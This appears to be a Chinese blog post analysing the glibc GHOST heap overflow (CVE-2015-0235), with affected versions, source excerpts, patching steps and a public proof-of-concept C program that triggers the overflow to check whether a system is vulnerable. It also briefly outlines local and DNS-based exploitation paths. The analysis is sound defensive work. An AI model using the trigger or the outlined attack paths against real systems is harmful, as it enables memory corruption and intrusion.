glibc function heap-based buffer overflow in glibc's __nss_hostname_digits_dots() called by gethostbyname()、gethostbyname2() CVE-2015-0235
目录
1. 漏洞基本描述 2. 漏洞带来的影响 3. 漏洞攻击场景重现 4. 漏洞的利用场景 5. 漏洞原理分析 6. 漏洞修复方案 7. 攻防思考
1. 漏洞基本描述
A heap-based buffer overflow was found in glibc's __nss_hostname_digits_dots() function, which is used by the gethostbyname() and gethostbyname2() glibc function calls.
Relevant Link:
https://access.redhat.com/security/cve/CVE-2015-0235
2. 漏洞带来的影响
1. RHEL6 glibc-2.12-1.149.el6_6.4.x86_64 glibc-common-2.12-1.149.el6_6.4.x86_64 glibc-devel-2.12-1.149.el6_6.4.x86_64 glibc-headers-2.12-1.149.el6_6.4.x86_64 2. RHEL7 glibc-common-2.17-55.el7_0.3.x86_64 glibc-2.17-55.el7_0.3.x86_64 glibc-headers-2.17-55.el7_0.3.x86_64 glibc-devel-2.17-55.el7_0.3.x86_64
2.2 <= version <= 2.17
3. 漏洞攻击场景重现
0x1: POC
#include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #define CANARY "in_the_coal_mine" struct { char buffer[1024]; char canary[sizeof(CANARY)]; } temp = { "buffer", CANARY }; int main(void) { struct hostent resbuf; struct hostent *result; int herrno; int retval; /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/ size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1; char name[sizeof(temp.buffer)]; memset(name, '0', len); name[len] = '\0'; retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); if (strcmp(temp.canary, CANARY) != 0) { puts("vulnerable"); exit(EXIT_SUCCESS); } if (retval == ERANGE) { puts("not vulnerable"); exit(EXIT_SUCCESS); } puts("should not happen"); exit(EXIT_FAILURE); }
Relevant Link:
https://gist.githubusercontent.com/koelling/ef9b2b9d0be6d6dbab63/raw/de1730049198c64eaf8f8ab015a3c8b23b63fd34/gistfile1.c/
4. 漏洞的利用场景
漏洞的源头在操作系统的底层代码库Glibc,所以攻击者利用这个漏洞的方式可以是如下几种
1. 本地利用提权 黑客通过编写利用代码,构造特定格式的"输入数据",并调用gethostbyname(),通过漏洞流将shellcode注入,获得应用权限 2. 远程发送畸形数据包提权 要利用gethostbyname(),需要构造一个特殊的DNS服务器,对客户端的DNS请求返回一个精心构造的畸形数据包
5. 漏洞原理分析
glibc-2.17\nss\digits_dots.c
int __nss_hostname_digits_dots (const char *name, struct hostent *resbuf, char **buffer, size_t *buffer_size, size_t buflen, struct hostent **result, enum nss_status *status, int af, int *h_errnop) { .. }
__nss_hostname_digits_dots由其他的包装函数负责调用
\glibc-2.17\nss\getXXbyYY.c
LOOKUP_TYPE * FUNCTION_NAME (ADD_PARAMS) { static size_t buffer_size; static LOOKUP_TYPE resbuf; LOOKUP_TYPE *result; #ifdef NEED_H_ERRNO int h_errno_tmp = 0; #endif /* Get lock. */ __libc_lock_lock (lock); if (buffer == NULL) { buffer_size = BUFLEN; buffer = (char *) malloc (buffer_size); } #ifdef HANDLE_DIGITS_DOTS if (buffer != NULL) { //FUNCTION_NAME是对外的包装函数 if (__nss_hostname_digits_dots (name, &resbuf, &buffer, &buffer_size, 0, &result, NULL, AF_VAL, H_ERRNO_VAR_P)) goto done; } #endif while (buffer != NULL && (INTERNAL (REENTRANT_NAME) (ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) == ERANGE) #ifdef NEED_H_ERRNO && h_errno_tmp == NETDB_INTERNAL #endif ) { char *new_buf; buffer_size *= 2; new_buf = (char *) realloc (buffer, buffer_size); if (new_buf == NULL) { /* We are out of memory. Free the current buffer so that the process gets a chance for a normal termination. */ free (buffer); __set_errno (ENOMEM); } buffer = new_buf; } if (buffer == NULL) result = NULL; #ifdef HANDLE_DIGITS_DOTS done: #endif /* Release lock. */ __libc_lock_unlock (lock); #ifdef NEED_H_ERRNO if (h_errno_tmp != 0) __set_h_errno (h_errno_tmp); #endif return result; }
这个函数的调用是由#ifdef HANDLE_DIGITS_DOTS来定义的,这个宏定义只在这几个文件有:
1. inet/gethstbynm.c 2. inet/gethstbynm2.c 3. inet/gethstbynm_r.c 4. inet/gethstbynm2_r.c 5. nscd/gethstbynm3_r.c
Relevant Link:
http://drops.wooyun.org/papers/4780 https://sourceware.org/git/?p=glibc.git;a=commit;h=d5dd6189d506068ed11c8bfa1e1e9bffde04decd http://www.openwall.com/lists/oss-security/2015/01/27/9 http://www.tuicool.com/articles/2YfEFz http://ftp.gnu.org/gnu/glibc/
6. 漏洞修复方案
0x1: 升级Glibc库
1. RHEL/CentOS sudo yum update glibc 2. Ubuntu sudo apt-get update sudo apt-get install libc6
0x2: 重启应用
获取加载了glibc库的进程
lsof | grep libc | awk '{print $1}' | sort | uniq
如果当前系统中进程太多,最好的方式是重启系统
7. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)